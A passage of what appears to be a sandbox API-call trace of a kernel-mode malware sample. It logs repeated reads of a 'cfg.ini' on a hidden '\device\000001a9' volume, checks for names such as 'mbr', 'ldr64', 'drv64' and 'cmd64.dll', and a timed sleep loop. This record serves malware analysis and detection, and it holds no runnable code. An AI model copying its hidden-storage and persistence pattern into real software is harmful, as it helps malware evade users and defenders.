(Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.204] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.204] KeEnterCriticalRegion () [0130.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.204] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.204] KeLeaveCriticalRegion () [0130.204] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.204] KeEnterCriticalRegion () [0130.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.204] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.204] IdePortDispatch () returned 0x103 [0130.204] KeWaitForMutexObject () returned 0x0 [0130.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.205] KeLeaveCriticalRegion () [0130.205] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.205] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.205] KeEnterCriticalRegion () [0130.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.205] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d3e000 [0130.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.205] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.205] IdePortDispatch () returned 0x103 [0130.205] KeWaitForMutexObject () returned 0x0 [0130.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.205] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.205] IdePortDispatch () returned 0x103 [0130.205] KeWaitForMutexObject () returned 0x0 [0130.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.206] KeLeaveCriticalRegion () [0130.206] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.206] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.206] KeEnterCriticalRegion () [0130.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.206] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.206] KeLeaveCriticalRegion () [0130.206] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.206] KeEnterCriticalRegion () [0130.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.206] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.206] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c670, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.206] KeLeaveCriticalRegion () [0130.206] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.206] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.206] KeEnterCriticalRegion () [0130.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.206] ExFreePoolWithTag (P=0xfffffa800294c5b0, Tag=0x0) [0130.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.206] KeLeaveCriticalRegion () [0130.206] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.207] ReleaseMutex (hMutex=0xf0) returned 1 [0130.207] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.207] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.207] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.207] KeEnterCriticalRegion () [0130.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.207] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.207] IdePortDispatch () returned 0x103 [0130.207] KeWaitForMutexObject () returned 0x0 [0130.207] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.207] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.207] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.207] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.207] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.207] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd320 [0130.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.207] KeLeaveCriticalRegion () [0130.207] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.207] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.207] KeEnterCriticalRegion () [0130.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.207] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.207] KeLeaveCriticalRegion () [0130.207] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.207] KeEnterCriticalRegion () [0130.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.208] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.208] IdePortDispatch () returned 0x103 [0130.208] KeWaitForMutexObject () returned 0x0 [0130.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.208] KeLeaveCriticalRegion () [0130.208] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.208] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.208] KeEnterCriticalRegion () [0130.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.208] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d3f000 [0130.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.208] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.208] IdePortDispatch () returned 0x103 [0130.208] KeWaitForMutexObject () returned 0x0 [0130.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.208] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.208] IdePortDispatch () returned 0x103 [0130.209] KeWaitForMutexObject () returned 0x0 [0130.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.209] KeLeaveCriticalRegion () [0130.209] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.209] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.209] KeEnterCriticalRegion () [0130.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.209] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.209] KeLeaveCriticalRegion () [0130.209] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.209] KeEnterCriticalRegion () [0130.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.209] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.209] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.209] KeLeaveCriticalRegion () [0130.209] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.210] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.210] KeEnterCriticalRegion () [0130.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.210] ExFreePoolWithTag (P=0xfffffa8003bfd320, Tag=0x0) [0130.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.210] KeLeaveCriticalRegion () [0130.210] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.210] ReleaseMutex (hMutex=0xf0) returned 1 [0130.210] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.210] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.210] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.210] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.210] KeEnterCriticalRegion () [0130.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.210] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.210] IdePortDispatch () returned 0x103 [0130.210] KeWaitForMutexObject () returned 0x0 [0130.210] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.210] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.210] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.210] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.210] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.210] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.210] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.210] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.210] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.210] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.210] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.210] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.211] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.211] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.211] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.211] KeLeaveCriticalRegion () [0130.211] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.211] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.211] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.211] KeEnterCriticalRegion () [0130.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.211] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.211] IdePortDispatch () returned 0x103 [0130.211] KeWaitForMutexObject () returned 0x0 [0130.211] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.211] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.211] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.211] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.211] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.211] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.211] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.211] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.211] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.211] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.211] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.211] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.211] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.211] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.211] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.211] KeLeaveCriticalRegion () [0130.211] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.212] ReleaseMutex (hMutex=0x100) returned 1 [0130.212] Sleep (dwMilliseconds=0x2bf20) [0130.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70cf0cf0, dwHighDateTime=0x1d24fa4)) [0130.218] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.219] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.219] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.219] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.219] KeEnterCriticalRegion () [0130.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.219] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.219] IdePortDispatch () returned 0x103 [0130.220] KeWaitForMutexObject () returned 0x0 [0130.220] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.220] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.220] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.220] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.220] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.220] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cfb0 [0130.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.220] KeLeaveCriticalRegion () [0130.220] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.220] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.220] KeEnterCriticalRegion () [0130.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.220] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.220] KeLeaveCriticalRegion () [0130.220] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.220] KeEnterCriticalRegion () [0130.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.220] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.220] IdePortDispatch () returned 0x103 [0130.221] KeWaitForMutexObject () returned 0x0 [0130.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.221] KeLeaveCriticalRegion () [0130.221] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.221] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.221] KeEnterCriticalRegion () [0130.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.221] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d42000 [0130.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.221] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.221] IdePortDispatch () returned 0x103 [0130.221] KeWaitForMutexObject () returned 0x0 [0130.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.221] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.221] IdePortDispatch () returned 0x103 [0130.221] KeWaitForMutexObject () returned 0x0 [0130.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.221] KeLeaveCriticalRegion () [0130.221] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.222] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.222] KeEnterCriticalRegion () [0130.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.222] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.222] KeLeaveCriticalRegion () [0130.222] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.222] KeEnterCriticalRegion () [0130.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 